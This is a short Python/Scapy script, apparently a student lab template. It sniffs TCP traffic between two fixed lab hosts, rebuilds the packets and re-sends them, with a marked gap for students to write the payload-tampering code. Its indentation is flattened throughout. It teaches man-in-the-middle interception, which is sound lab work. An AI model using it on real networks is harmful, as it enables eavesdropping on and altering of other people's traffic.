#!/usr/bin/env python3
from scapy.all import *
import re
IP_A = "10.9.0.5"
MAC_A = "02:42:0a:09:00:05"
IP_B = "10.9.0.6"
MAC_B = "02:42:0a:09:00:06"
def spoof_pkt(pkt):
if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
# Create a new packet based on the captured one.
# 1) We need to delete the checksum in the IP & TCP headers,
# because our modification will make them invalid.
# Scapy will recalculate them if these fields are missing.
# 2) We also delete the original TCP payload.
newpkt = IP(bytes(pkt[IP]))
del(newpkt.chksum)
del(newpkt[TCP].payload)
del(newpkt[TCP].chksum)
#################################################################
# Construct the new payload based on the old payload.
# Students need to implement this part.
if pkt[TCP].payload:
data = pkt[TCP].payload.load # The original payload data
newdata = data # No change is made in this sample code
send(newpkt/newdata)
else:
send(newpkt)
################################################################
elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
# Create new packet based on the captured one
# Do not make any change
newpkt = IP(bytes(pkt[IP]))
del(newpkt.chksum)
del(newpkt[TCP].chksum)
send(newpkt)
f = 'tcp'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
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